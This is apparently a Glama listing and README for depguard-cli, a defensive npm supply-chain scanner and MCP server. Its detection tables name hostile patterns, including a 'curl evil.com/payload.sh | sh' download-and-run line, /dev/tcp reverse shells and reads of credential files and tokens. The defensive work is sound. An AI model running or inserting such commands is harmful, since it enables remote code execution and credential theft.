Skip to main content
Glama

depguard-cli

Find out in seconds whether an npm supply-chain attack reached your machine. When a worm or a hijacked maintainer account ships malicious versions, npx depguard-cli exposure checks every project, global install and the npm download cache on your machine against 100,000+ known-malicious npm packages. It tells you exactly where a bad version is, whether it was installed, and what to rotate. depguard also audits packages before you install them and repositories before you open them. Zero runtime dependencies. Runs in the terminal or as an MCP server for Claude, Cursor, Windsurf and any MCP client.

npm license

Was I hit?

npx depguard-cli exposure
depguard exposure scan
  Scanned:     143 lock files, 816 global packages, 167 cached tarballs (14530 distinct versions)
  Under:       /Users/you
  Advisory DB: 2026-10-15 (34952 known-malicious packages)

  OK  No known-malicious package versions found.

When something is found, every location is listed with the evidence and the steps to take:

  EXPOSED  1 known-malicious package version found

  ua-parser-js@0.7.29
    CVE-2021-4229  Maintainer account hijacked. Compromised versions contained XMRig cryptominer and credential stealer. (2021-10-22)
    - lock file    /Users/you/work/api/package-lock.json (node_modules/ua-parser-js)  [installed on disk, runs install scripts]
    - npm cache    tarball downloaded on 2021-10-22

  What to do now:
    1. A malicious version was installed or downloaded on this machine. Treat the machine as compromised...
    2. Rotate every credential reachable from this machine: npm tokens, GitHub tokens and SSH keys, cloud credentials...

What it looks at:

  • Every lock file under the given paths (default: your home directory): npm, pnpm, yarn classic and berry, bun. Nested and duplicated copies count, so a malicious version hidden at node_modules/a/node_modules/b is found.

  • Globally installed packages (npm root -g).

  • The npm download cache. It proves a malicious tarball was downloaded on this machine, and when, even if the project that pulled it is gone.

Only exact matches are reported: a version is flagged only when it falls inside a known-malicious range, and clean versions of packages that were once compromised are never flagged. The data comes from the GitHub Advisory Database, both malware advisories and advisories for legitimate packages that were hijacked to ship malware, refreshed daily. The exit code is 2 when something is found, so it can gate CI:

npx depguard-cli exposure . --skip-global --skip-cache

Related MCP server: MCP Shield

Why depguard

I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use.

Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.

Install

npm install -g depguard-cli      # or use directly with npx
npx depguard-cli audit express

MCP server (primary use case)

depguard exposes 15 MCP tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code.

Setup, Claude Code one-liner:

claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp

Setup — generic MCP config (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code):

{
  "mcpServers": {
    "depguard": {
      "command": "npx",
      "args": ["-y", "depguard-cli", "--mcp"]
    }
  }
}

The 15 tools

Tool

Use it when

depguard_exposure

"Was I hit by this attack?" Scans every lock file, global install and the npm cache for known-malicious versions, with locations, evidence and remediation steps

depguard_guard

About to install package Y → pre-install verify + audit + allow/warn/block

depguard_should_use

Need functionality X → recommend install / use-native / write-from-scratch

depguard_audit_workspace

Just cloned a repo, before opening it in any IDE. Lists files that auto-execute on workspace open (VS Code tasks runOn:folderOpen, devcontainer lifecycle, .envrc, JetBrains run configs, Makefile, .gitattributes, committed git hooks). Defends against fake-interview / take-home-test malware.

depguard_audit_project

Audit a whole project — direct deps, transitives via lockfile, packageManager field

depguard_remediate

"100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight

depguard_audit

Deep dive on one package (vulnerabilities + static code analysis + install scripts)

depguard_audit_bulk

Compare A vs B vs C in one call

depguard_audit_deep

Full transitive tree audit for one package

depguard_review

AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files)

depguard_sweep

Find unused dependencies in a project

depguard_search

Search npm by keywords, ranked by depguard score

depguard_score

Score 0-100 for one package

depguard_verify

AI hallucination guard — does this package exist? Is it a typosquat?

depguard_sbom

Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP)

Every MCP response includes a tokenSavings field that quantifies the LLM-tokens saved vs equivalent manual research:

"tokenSavings": {
  "responseTokens": 47,
  "manualEstimate": 11100,
  "saved": 11053,
  "percentSaved": 100,
  "manualSteps": [
    "WebSearch: '{package} npm quality maintenance' (~800 tokens)",
    "WebFetch: npm registry page (~3000 tokens)",
    "WebFetch: GitHub repo for activity/stars (~3000 tokens)",
    "WebSearch: '{package} vulnerabilities' (~800 tokens)",
    "WebFetch: advisories page (~3000 tokens)",
    "Reasoning: compute weighted score (~500 tokens)"
  ]
}

Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research.

CLI

depguard-cli exposure [paths...] [--skip-global] [--skip-cache] [--max-depth 8] [--json]
depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif]
depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif]
depguard-cli audit-workspace [path] [--json|--format sarif]
depguard-cli audit-deep <package> [--json]
depguard-cli guard <package[@version]> [--threshold 60] [--block] [--json]
depguard-cli should-use <intent...> [--threshold 60] [--json]
depguard-cli sweep [path] [--include-dev] [--json]
depguard-cli review [path] [--full] [--json]
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]
depguard-cli remediate <path/package.json> [--json]
depguard-cli search <keywords...> [--limit 10] [--json]
depguard-cli score <package> [--target-license MIT] [--json]
depguard-cli stats [--json]

Pre-install guardian in action:

$ depguard-cli guard expresss
[WARN] expresss
  Possible typosquat of: express
  Score: 45/100 is below threshold 60

$ depguard-cli guard ai-made-up-package
[BLOCK] ai-made-up-package
  Package does NOT exist on npm!

GitHub Code Scanning (SARIF v2.1.0)

audit, audit-project, and audit-workspace accept --format sarif and emit SARIF v2.1.0 with GHSA-stable rule IDs (depguard/vuln/GHSA-…), CVSS-propagated severity, and stable partialFingerprints for dedup across runs.

# .github/workflows/depguard.yml
- name: Pre-open workspace audit
  run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true
- name: Project dependency audit
  run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: |
      workspace.sarif
      project.sarif

API

import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli'

const report = await audit('express', 'MIT')
report.vulnerabilities.total     // 0
report.securityFindings          // SecurityFinding[] (static code analysis)
report.licenseCompatibility.compatible // true

const project = await auditProject('./package.json', { includeDevDependencies: true })
project.summary               // { critical: 0, high: 2, moderate: 5, low: 3 }
project.transitiveSummary     // { totalDeps: 800, vulnerable: 12, ... }
project.packageManagerAudit   // audit of `packageManager: yarn@4.5.3`

const sweepResult = await sweep('.', { includeDevDependencies: true })
sweepResult.unused              // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
sweepResult.estimatedSavingsKB  // 2450

const decision = await guard('expresss')
decision.possibleTyposquat  // true
decision.similarTo          // ["express"]
decision.decision           // "warn"

const bom = await generateSBOM('./package.json', { includeVex: true })
bom.specVersion             // "1.6"
bom.vulnerabilities         // [{ id: "GHSA-...", ratings: [...], affects: [...] }]

What depguard checks

Scoring

Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making:

Dimension

Weight

What it measures

Security

30%

CVEs, advisories, static code analysis findings

Maintenance

25%

Last publish, version count, deprecation

Popularity

20%

Weekly downloads (log scale)

License

15%

Compatibility with your project's target license

Dependencies

10%

Dependency count, install scripts

Decisions (shouldUse): >= 60 → install, 40-59 → caution, < 40 → write from scratch.

Static-analysis caps the security score regardless of popularity — this is deliberate: a wildly popular package with a credential-stealing payload still loses.

Worst finding

Security score capped at

Critical (e.g. malware, reverse shell)

20/100

High (e.g. obfuscation, env-var exfil)

45/100

None

unrestricted

Pre-install guardian

Three sequential checks before npm install: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents.

Install script analysis

depguard statically pattern-matches preinstall / install / postinstall scripts. Nothing is executed.

Pattern

Severity

Example

Remote code execution

Critical

curl evil.com/payload.sh | sh

Reverse shells

Critical

/dev/tcp/ connections

Credential file access

Critical

~/.ssh/id_rsa, ~/.npmrc, ~/.aws

Sensitive env vars

Critical

$NPM_TOKEN, $AWS_SECRET

Shell typosquatting

Critical

/bin/ssh instead of /bin/sh

Obfuscated code

High

eval(Buffer.from(..., "base64"))

Process spawning

High

child_process, exec(), spawn()

Static code analysis (tarball scan)

depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories:

Category

Severity

What it detects

malware

Critical

Eval of decoded payloads, reverse shells, crypto-mining

data-exfiltration

Critical/High

JSON.stringify(process.env), credential file reads, dynamic fetch URLs

code-execution

High

eval(), new Function(), child_process.exec/spawn

obfuscation

High/Medium

Long hex/unicode strings, base64 payloads, minified source in non-.min.js files

unexpected-behavior

High/Medium

Network calls in a "formatter" package, FS access in a "date utility"

supply-chain

Critical

Typosquatting patterns in install scripts

Behavioral mismatch compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich SecurityFinding (title, explanation, evidence, file, recommendation).

Dead-dependency detection

sweep scans .js/.ts/.mjs/.cjs/.jsx/.tsx for import / require / export from, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs @types/* with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings.

Native-alternative advisor

should_use checks for native Node.js APIs before recommending packages — fetch (18+), crypto.randomUUID() (19+), structuredClone() (17+), and 20+ more. Each comes with example code and the minimum Node version.

Fix suggestions

Every vulnerable result includes a fixSuggestions array with currentVersion, fixVersion, and action: 'upgrade' | 'no-fix-available'. depguard_remediate aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight.

License compatibility

Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license.

SBOM (CycloneDX 1.6)

Native CycloneDX 1.6 generation against the public JSON Schema — no @cyclonedx/cyclonedx-library runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT.

depguard-cli sbom ./package.json -o sbom.cdx.json
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json

Suitable for EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and supplier procurement. PURLs follow the Package URL spec. SHA-512 integrity hashes are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema. With --include-vex, advisories are inlined with CVSS ratings and patched versions.

Data, privacy & performance

  • Known-malicious packages, bundled. exposure and guard match against a local copy of the GitHub Advisory Database's npm malware advisories plus hijacked-package advisories (CWE-506), refreshed daily, so the check itself makes no network calls. Advisories about packages that were only exposed through a malicious dependency are excluded, and a reviewed exception list overrides the data.

  • Two advisory databases, deduplicated. Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its source field.

    Source

    What it catches

    npm Registry

    npm audit advisories

    GitHub Advisory DB

    GHSAs, often not in npm

  • Everything stays local. No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under ~/.depguard/cache/ (24h TTL); the cache is cleaned on startup.

  • GitHub token (optional). Set GITHUB_TOKEN (no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. If gh CLI or GitHub Actions already exposes one, depguard picks it up automatically.

About

Design principles. Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust.

Development.

npm test          # 543 offline tests
npm run check     # version + build + lint + test + audit:security (gates publish)

Author. Jorge Morais (jorgemopanc.com · LinkedIn) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, GitHub Sponsors is the cleanest way — no expectations, the tool is free and will stay so.

License. Apache-2.0 — see LICENSE.

Available Tools

15 tools
depguard_auditA

Deep security audit of a single npm package. Downloads the tarball, scans source code for malware, checks vulnerabilities (npm + GitHub Advisory), analyzes install scripts, verifies license. Use when you need full details on a specific package. Pass a version to audit a specific installed version instead of latest.

Inputs: name (required), version, targetLicense.

depguard_audit_bulkA

Audit multiple packages in one call. Accepts an array of names or a dependencies object from package.json. Use depguard_audit_project instead if you have a package.json path.

Inputs: packages (required), targetLicense.

depguard_audit_deepA

Audit the full transitive dependency tree of a package. Crawls all nested dependencies recursively and aggregates vulnerabilities across the entire graph. Use when you need to know the total attack surface, not just direct deps.

Inputs: name (required), maxDepth, targetLicense.

depguard_audit_projectA

Audit ALL dependencies in a project at once. Scans direct deps (full audit), transitive deps from lock file (vulnerability check), and the packageManager field. Pass the path to package.json and get a consolidated security report. Use this when the user asks to review project security or after cloning a new repo.

Inputs: path (required), targetLicense, includeDevDependencies.

depguard_audit_workspaceA

MANDATORY: call this AFTER cloning a repository and BEFORE opening it in any IDE (VS Code, Cursor, JetBrains, etc.) or running direnv allow. Enumerates every file in the repo that auto-executes when the workspace opens: .vscode/tasks.json runOn:folderOpen, .vscode/settings.json shell overrides, .devcontainer lifecycle commands, .envrc, JetBrains run configurations, Makefile default targets, .gitattributes custom filter drivers, and committed git hooks. Classifies each as INFO / WARN / HIGH using FP-averse heuristics (benign npm run watch stays INFO; only curl|sh, base64 decode chains, credential paths, and obfuscation escalate). This is the technical defense against fake-interview / take-home-test malware campaigns where a coding-test repo compromises the developer's session before the IDE finishes loading.

Inputs: path (required).

depguard_exposureA

Answer "was this machine hit?" after an npm supply-chain incident (worm, hijacked maintainer, malicious release). Scans every lock file under the given paths (npm, pnpm, yarn classic/berry, bun; nested copies included), globally installed packages, and the npm download cache, and matches each exact installed version against ~35k known-malicious npm packages. Reports where each malicious version was found, whether it is installed on disk, whether it runs install scripts, when its tarball was downloaded, and the remediation steps (credential rotation, cleanup). Use this when the user asks whether they are affected by an attack, or as a periodic check. Only exact version matches are reported; clean versions of previously compromised packages are never flagged.

Inputs: paths, maxDepth, includeCache, includeGlobal.

depguard_guardA

MANDATORY: call this BEFORE running npm install, yarn add, or pnpm add — whether the user asked for the package or you decided to install it yourself. Verifies the package exists (blocks hallucinated names), checks for typosquatting, runs security audit, and returns allow/warn/block. If the result is "block" or "warn", do NOT install the package without informing the user.

Inputs: name (required), threshold, targetLicense.

depguard_remediateA

Build a remediation plan for a project with known vulnerabilities. Reads package.json + lock file, runs the same audit as depguard_audit_project, then groups every vulnerable transitive under the direct dep that pulls it in. Output is sorted by severity weight so the first remediation is the highest-impact bump. Use this when the user is staring at "100 vulnerabilities found" from npm install and needs to know which 5 direct deps to upgrade. Read-only: never modifies package.json, lockfile, or runs npm.

Inputs: path (required), targetLicense, includeDevDependencies.

depguard_reviewA

Call this AFTER making significant code changes or before the user commits. Scans source files for issues you may have introduced: console.logs left in production code, empty catch blocks, broken imports, TODOs without issue references, empty test files, orphan files. Fix the findings before reporting your work as done.

Inputs: path (required), mode.

depguard_sbomA

Generate a CycloneDX 1.6 Software Bill of Materials (SBOM) for an npm project. Reads package.json + lock file to enumerate direct + transitive components with PURLs and integrity hashes. Set includeVex=true to embed vulnerability data (VEX) from the audit pipeline. Use this when the user asks for an SBOM, a compliance report, or to comply with EU CRA / US EO 14028 requirements.

Inputs: path (required), includeVex, targetLicense, includeDevDependencies.

depguard_scoreA

Quick 0-100 quality score for a package. Faster than depguard_audit when you only need the score. Critical vulns cap at 30, high at 50.

Inputs: name (required), targetLicense.

depguard_should_useA

When you need functionality (e.g. "RTSP streaming", "date formatting"), call this BEFORE choosing a package yourself. Checks if Node.js has a native solution first, then evaluates npm candidates and recommends install, caution, or write-from-scratch. Always prefer this over picking a package from your training data — it gives you up-to-date security and quality data.

Inputs: intent (required), threshold, targetLicense.

depguard_sweepA

Find unused npm packages in the project. Scans source files for imports and cross-references with package.json. Also detects phantom deps (installed but not declared). Call this after a coding session where you installed multiple packages — some may no longer be needed.

Inputs: path (required), includeDevDependencies.

depguard_verifyA

Quick check if a package name exists on npm + typosquatting detection. Faster than depguard_guard when you only need existence verification without a full audit.

Inputs: name (required).

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    A4.2/5.0

    Scored across 15 tools

    Disambiguation4/5

    The crowded audit_* family (audit, audit_bulk, audit_project, audit_deep, audit_workspace) could trip up an agent, but descriptions explicitly scope each one (single package vs. project vs. transitive tree vs. workspace files vs. bulk array). The verify/score/guard trio is also well-graded by depth. Minor residual overlap between audit_bulk and audit_project keeps this from a 5.

    Naming Consistency4/5

    All tools share a consistent depguard_ prefix and snake_case style, which reads predictably. The only deviation is mixing verbs (audit, verify, guard) with nouns (sbom, exposure, sweep, score), but the convention is uniform enough to be unsurprising.

    Tool Count5/5

    15 tools sit squarely in the well-scoped 3-15 band. Each tool covers a distinct capability (audit, SBOM, exposure scan, remediation, recommendation, search, verify, sweep, review) so none feel redundant at the count level.

    Completeness4/5

    The surface covers the full dependency-security lifecycle: discovery (search/should_use), pre-install gating (guard/verify), auditing (audit/project/deep/bulk), incident response (exposure), reporting (sbom), cleanup (sweep/review), and remediation planning. The only gap is that remediation is read-only (no apply/fix operation) and there is no standalone license-compliance tool, but these are reasonable scoping choices.

    Maintenance

    ActivityActive
    ResponsivenessLimited data

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      C
      quality
      D
      maintenance
      Security scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.
      2
      1
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      Security scanner and runtime proxy for MCP servers. Catches tool poisoning, prompt injection, and rug-pull attacks (silent tool description changes) before they reach your AI agent. Includes a static scanner and a runtime stdio proxy.
      92 npm
      MIT